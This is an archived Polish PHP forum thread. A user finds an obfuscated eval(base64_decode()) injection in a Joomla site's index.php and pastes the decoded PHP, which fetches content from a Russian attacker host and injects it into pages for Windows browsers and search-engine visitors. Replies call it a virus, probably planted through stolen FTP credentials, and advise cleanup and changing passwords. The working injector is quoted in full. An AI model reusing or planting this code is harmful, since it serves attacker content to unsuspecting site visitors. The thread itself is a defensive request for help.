Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: http://dailyfiles.ru/1.txt spotkał się ktoś z tym?
Forum PHP.pl > Inne > Hydepark
mheki
Dostałem od znajomych do pocięcia i zaadaptowania w joomli szablon graficzny, przy okazji dali mi dostęp do kodu swojej aplikacji, gdzie w pliku index.php natknąłem się na funkcję:

  1. eval(base64_decode('..tutaj kupa literek...'));
  2. $JResp = str_ireplace("</head>", "</head>".$code, $JResp);
  3. echo $JResp;


Nie bawię się joomlą na co dzień, ale taki kod od razu włącza alarm w mojej głowie - odkodowałem eval'owany kod. Wklejam go poniżej. Spotkał się już ktoś z Was z takim exploitem?

  1. $url = 'http://dailyfiles.ru/1.txt';
  2. $mode = 1;//1 čëč 2
  3.  
  4. //Çŕďđîń ę íŕřĺěó őîńňó_
  5. function geturl_1($url)
  6. {
  7. return file_get_contents($url);
  8. }
  9.  
  10. //Çŕďđîń ę íŕřĺěó őîńňó_2 \ Ńîęĺňű
  11. function geturl_2( $sock,$host, $path, $query )
  12. {
  13. fputs($sock, "GET " . $path . "?" . $query . " HTTP/1.0\r\n" .
  14. "Host: $host\r\n" .
  15. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\n" .
  16. "Accept: */*\r\n" .
  17. "Accept-Language: en-us,en;q=0.5\r\n" .
  18. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" .
  19. "Keep-Alive: 300\r\n" .
  20. "Connection: keep-alive\r\n" .
  21. "Referer: http://$host\r\n\r\n");
  22. while ( $line = fread( $sock, 4096 ) )
  23. {
  24. $response .= $line;
  25. }
  26. fclose( $sock );
  27. $pos = strpos($response, "\r\n\r\n");
  28. $response = substr($response, $pos + 4);
  29. return $response;
  30. }
  31. //Çŕďđîń ę íŕřĺěó őîńňó_3 \ Ęóđëű
  32. function geturl_3($url)
  33. {
  34. $ch = curl_init($url);
  35. curl_setopt($ch, CURLOPT_HEADER, FALSE);
  36. curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  37. $result = curl_exec($ch);
  38. curl_close($ch);
  39. return $result;
  40. }
  41.  
  42. function is_good_ua($useragent)
  43. {
  44. if( stripos($useragent, 'opera')!==false || stripos($useragent, 'Firefox') || stripos($useragent, 'MSIE'))
  45. {
  46. return 1;
  47. }
  48. return 0;
  49. }
  50.  
  51. function is_windows_ua($useragent)
  52. {
  53. if(stripos($useragent, 'windows'))
  54. {
  55. return 1;
  56. }
  57. return 0;
  58. }
  59.  
  60. function mainwork($url)
  61. {
  62. if( ini_get("allow_url_fopen") == 1)
  63. {
  64. echo geturl_1($url);
  65. }
  66. else
  67. {
  68. $url_1 = parse_url($url);
  69.  
  70. if($sock = @fsockopen($url_1['host'], 80))
  71. {
  72. echo geturl_2( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
  73. }
  74. elseif( @function_exists('curl_init') )
  75. {
  76. echo geturl_3($url);
  77. }
  78. }
  79. }
  80.  
  81.  
  82. $ua = @$_SERVER['HTTP_USER_AGENT'];
  83.  
  84. if(is_windows_ua($ua))
  85. {
  86. if ($mode == 1)
  87. {
  88. if (is_good_ua($ua))
  89. {
  90. mainwork($url);
  91. }
  92. }
  93. elseif ($mode == 2)
  94. {
  95. if (isset($_SERVER['HTTP_REFERER']))
  96. {
  97. $referer = $_SERVER['HTTP_REFERER'];
  98. if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com"))
  99. {
  100. if (!stristr($referer,"cache") or !stristr($referer,"inurl"))
  101. {
  102. mainwork($url);
  103. }
  104. }
  105. }
  106. }
  107. }

Speedy
Spotkałem się z tym. Jest to prawdopodobnie jakiś wirus. Takie coś może się dostać na serwer w momencie, gdy masz zawirusowany komputer i hasła do FTP zapisane w kliencie (programie do obsługi) FTP.
Podczas pracy na Windowsie najlepiej skorzystać z antywirusa, a potem usunąć ten kod. Nie analizowałem dokładnie tego, co ten kod robi, ale na pewno łączy się on z jakimiś zewnętrznymi serwerami. Nie wiem, w jakim celu. Możliwe też, że próbuje wykonać jakieś niepożądane operacje na serwerze.
mheki
Kod jest jasny - wszystko sprowadza się do zaimportowania treści z pliku umieszczonego na serwerze atakującego.
A co się w tym pliku znajduje tego nie wiem.
sazian
nie zapomni zmienić hasła do FTP
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.